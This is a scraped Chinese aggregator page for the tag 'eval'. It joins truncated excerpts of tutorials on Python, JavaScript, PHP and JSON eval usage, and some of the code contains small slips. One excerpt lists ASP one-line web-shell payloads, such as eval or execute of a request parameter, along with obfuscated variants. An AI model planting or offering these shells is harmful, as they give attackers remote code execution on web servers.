eval

内置函数以及闭包

旧街凉风 提交于 2020-03-04 04:06:47
今日内容 匿名函数:一句话函数,比较简单的函数。 此函数不是没有名字,他有名字,他的名字就是你给其设置的变量。 lambda是定义匿名函数的关键字,相当于函数的def。 lambda后面直接加形参,形参加多少都可以,只要用逗号隔开就行了。 返回值在冒号之后设置,返回值和正常函数一样,可以是任意数据类型。 匿名函数不管多复杂,只能写一行,且逻辑结束后直接返回数据。 def func(a,b): return a + b #构建匿名函数 func1 = lambda a,b:a+b print(fun(1,2)) ​ 接收一个可切片的数据,返回索引为0与2的对应的元素(元祖形成)。 func2 = lambda a:(a[0],a[2]) print(func([22,33,44,55]))#(22, 44) 写匿名函数:接收两个int参数,将较大的数据返回。 lambda a,b:a if a>b else b 内置函数 python 提供了68个内置函数。 eval 剥去字符串的外衣运算里面的代码,有返回值。 s1 = '1+3' print(s1) print(eval(s1)) s = '{"name":"alex"}' print(s,type(s)) print(eval(s)) exec 与eval几乎一样,代码流。 msg = ''' for i in range(10

JSON的相关知识

前提是你 提交于 2020-03-03 17:27:35
㈠什么是JSON? JSON 指的是 JavaScript 对象表示法(JavaScript Object Notation) JSON 是轻量级的文本数据交换格式 JSON 独立于语言:JSON 使用 Javascript语法来描述数据对象,但是 JSON 仍然独立于语言和平台。 JSON 解析器和 JSON 库支持许多不同的编程语言。 目前非常多的动态(PHP,JSP,.NET)编程语言都支持JSON。 JSON 具有自我描述性,更易理解 ㈡JSON与XML的比较 ⑴与 XML 相同之处 JSON 是纯文本 JSON 具有"自我描述性"(人类可读) JSON 具有层级结构(值中存在值) JSON 可通过 JavaScript 进行解析 JSON 数据可使用 AJAX 进行传输 ⑵与 XML 不同之处 没有结束标签 更短 读写的速度更快 能够使用内建的 JavaScript eval() 方法进行解析 使用数组 不使用保留字 ⑶为什么使用 JSON? ☀对于 AJAX 应用程序来说,JSON 比 XML 更快更易使用: ①使用 XML 读取 XML 文档 使用 XML DOM 来循环遍历文档 读取值并存储在变量中 ②使用 JSON 读取 JSON 字符串 用 eval() 处理 JSON 字符串 ㈢JSON的详细讲解 <!DOCTYPE html> <html lang="en"

PHP实现逆波兰式

╄→гoц情女王★ 提交于 2020-03-02 15:25:52
近期一个小项目需要用到公式运算, 所以就进行一些了解,以下内容均属于个人经验。 在PHP中实现公式表达式四则运算大概有两种方法: 1)使用系统函数eval 2)将表达式转换成逆波兰表达式进行计算。 <?php //使用系统函数eval $str = 'L*((k-J)-(C+k))/M'; $param = array('L' => 0.5, 'k' => 2, 'J' => 1, 'C' => 6, 'M' => 4); $str2 = ''; for($i = 0; $i < strlen($str); $i++) { $tmp = substr($str, $i, 1); if (array_key_exists($tmp, $param)) { $str2 .= $param[$tmp]; } else { $str2 .= $tmp; } } eval("\$str = $str2;"); printf('%5.2d', $str); /*End of php*/ <?php /** * math_rpn * * 实现逆波兰式算法 * * @author sparkHuang 260558820@qq.com * @version RPN 1.0.0 * */ class math_rpn { //初始的计算表达式 private $_expression = ''; /

测试你的Python 水平----7

怎甘沉沦 提交于 2020-03-02 11:43:49
1、问:Cpython,Jython和IronPython有什么不同? 答:三者都是python编译器的实现方式;Cpython是python的标准实现;Jypthon是Python的Java实现;IronPython是Python的.net实现。 2、 问:exec,eval,execfile的用途是什么? 答:1)exec用来执行存储在字符串中的python语句,例如exec(“print ‘hello world!’”); 2) Eval把存储的字符串当成表达式求值,例如eval(“1+2+3+4+5+6”); 3) execfile用来执行一个文件脚本,例如execfile(“test.py”); 3、 问:如何查看一个模块的所有属性? 答:dir(moduleName) ps:dir函数真的是python中一个伟大的发明,通过它反射获取模块的属性; 4、 问:请使用python获取http://www.freelycode.com(自由编码)首页的内容。 答:使用urllib模块实现; import urllib def getHtml(url): page = urllib.urlopen(url) html = page.read() return html html = getHtml("http://www.freelycode.com") print html

python之内置函数,匿名函数

偶尔善良 提交于 2020-03-02 07:11:40
内置函数 我们一起来看看python里的内置函数。什么是内置函数?就是Python给你提供的,拿来直接用的函数,比如print,input等。截止到Python版本3.6.2,现在Python一共为我们提供了68个内置函数,有些函数我们已经用过了,有些我们还没用到,还有一些被封印了,必须等我们学了新知识才能解开封印。那么现在我们就来学习一些Python的内置函数。 内置函数 abs() dict() help() min() setattr() all() dir() hex() next() slice() any() divmod() id() object() sorted() ascii() enumerate() input() oct() staticmethod() bin() eval() int() open() str() bool() exec() isinstance() ord() sum() bytearray() filter() issubclass() pow() super() bytes() float() iter() print() tuple() callable() format() len() property() type() chr() frozenset() list() range() vars() classmethod()

一句话木马

青春壹個敷衍的年華 提交于 2020-03-02 01:02:15
<%eval request(“c”)%> <%execute request(“c”)%> <%execute(request(“c”))%> <%ExecuteGlobal request(“sb”)%> %><%Eval(Request(chr(35)))%><% <%if request (“c”)<>"“then session(“c”)=request(“c”):end if:if session(“c”)<>”" then execute session(“c”)%> <%eval(Request.Item[“c”],“unsafe”);%> <%eval(request(“c”)):response.end%> <%execute request(“c”)%><%<%loop<%:%> <%<%loop<%:%><%execute request(“c”)%> <%execute request(“c”)<%loop<%:%> <%if Request(“c”)<>"" ThenExecuteGlobal(Request(“c”))%> '不用"<,>" <% @Language=“JavaScript” CodePage="65001"var lcx={‘名字’:Request.form(’#’),‘性别’:eval,‘年龄’:‘18’,‘昵称’:‘请叫我一声老大

JavaScript-this指向解析

痞子三分冷 提交于 2020-03-02 00:25:40
从执行上下文的角度解析this指向,因为this是与执行上下文绑定的,而执行上下文可分为:全局执行上下文、函数执行上下文、eval执行上下文,所以理所应当觉得this指向这三个方面,下面看看实例: // 全局执行上下文 console.log(this, "全局") // 函数执行上下文 function fun() { console.log(this, "函数") } fun() // eval执行上下文 eval("console.log(this, 'eval')") // 打印结果见下图1,从图中可见,打印结果与我们预期结果有很大的差异,三种执行上下文默认情况下均之上了window,那我们看一下怎样去改变this的指向 图1 改变this指向方式 1.使用关键字new 构造函数使用new实例化时this指向new出来的对象 function Fun(name) { this.name = name } var exm = new Fun("ann") console.log(exm.name) // ann 所以Fun中的this指向了exa 2.使用call,apply,bind 把函数绑定到一个对象上运行,函数this就指向目前绑定的对象 function Fun(name) { this.name = name } var obj = {} Fun.call(obj

JavaSricpt JSON相关的eval函数

好久不见. 提交于 2020-03-01 22:00:43
eavl函数 1.作用:将一段字符串当作一段js代码执行。 2.eval函数和JSON配合使用。 在java连接数据库,查询数据之后,将数据在java程序中拼接成JSON格式的“字符串”,将JSON格式的字符串响应到浏览器。 也就是说响应到浏览器的仅仅时一个JSON格式的字符串,还不是一个对象。 可以使用eval函数,将JSON格式的的字符串转换为一个JSON对象。 < script type = "text/javascript" > var formJava = "{\"name\":\"zhansan\",\"passwrod\":123}" ; window . eval ( "var jsonObj = " + formJava ) ; alert ( jsonObj . name + "," + jsonObj . passwrod ) ; < / script > 来源: CSDN 作者: OVO_LQ_Start 链接: https://blog.csdn.net/OVO_LQ_Start/article/details/104599101

函数五--内置函数和匿名函数

青春壹個敷衍的年華 提交于 2020-03-01 11:01:41
内置函数 --python提供给你直接可以拿来使用的所有函数 内置函数大致分为六大类:反射相关、基础数据类型相关、作用域相关、面向对象相关、迭代器/生成器相关、其他。 作用域相关(2) : locals,globals 基于字典的形式获取局部变量和全局变量 locals() -----获取执行本方法所在命名空间内的局部变量 globals() ------获取当前所有的全局变量 迭代器/生成器相关(3) : range、next、iter 其他(12): 字符串类型代码的执行:eval、exec、compile eval()将字符串类型的代码执行并返回结果(有返回值 —— 有结果的简单计算)eval只能用在你明确知道你要执行的代码是什么 print(eval('1+2+3+4')) # 10 eval('print(123)') # 123 exec()将字符串类型的代码执行(没有返回值 —— 简单流程控制) print(exec('1+2+3+4')) # None exec("print('hello world')") # hello world code = ''' for i in range(3): print('*'*i) ''' exec(code) # * # ** compile 将字符串类型的代码编译。代码对象能够通过exec语句来执行或者eval()进行求值

JavaScript之eval() 函数

六眼飞鱼酱① 提交于 2020-03-01 00:19:07
定义和用法 eval() 函数可计算某个字符串,并执行其中的的 JavaScript 代码。 语法 eval(string) 参数描述 string必需。要计算的字符串,其中含有要计算的 JavaScript 表达式或要执行的语句。 返回值 通过计算 string 得到的值(如果有的话)。 说明 该方法只接受原始字符串作为参数,如果 string 参数不是原始字符串,那么该方法将不作任何改变地返回。因此请不要为 eval() 函数传递 String 对象来作为参数。 如果试图覆盖 eval 属性或把 eval() 方法赋予另一个属性,并通过该属性调用它,则 ECMAScript 实现允许抛出一个 EvalError 异常。 抛出 如果参数中没有合法的表达式和语句,则抛出 SyntaxError 异常。 如果非法调用 eval(),则抛出 EvalError 异常。 如果传递给 eval() 的 Javascript 代码生成了一个异常,eval() 将把该异常传递给调用者。 提示和注释 提示:虽然 eval() 的功能非常强大,但在实际使用中用到它的情况并不多。 eg: <SCRIPT language="javascript"> function showsubmenu(sid) { whichEl = eval("submenu" + sid); if (whichEl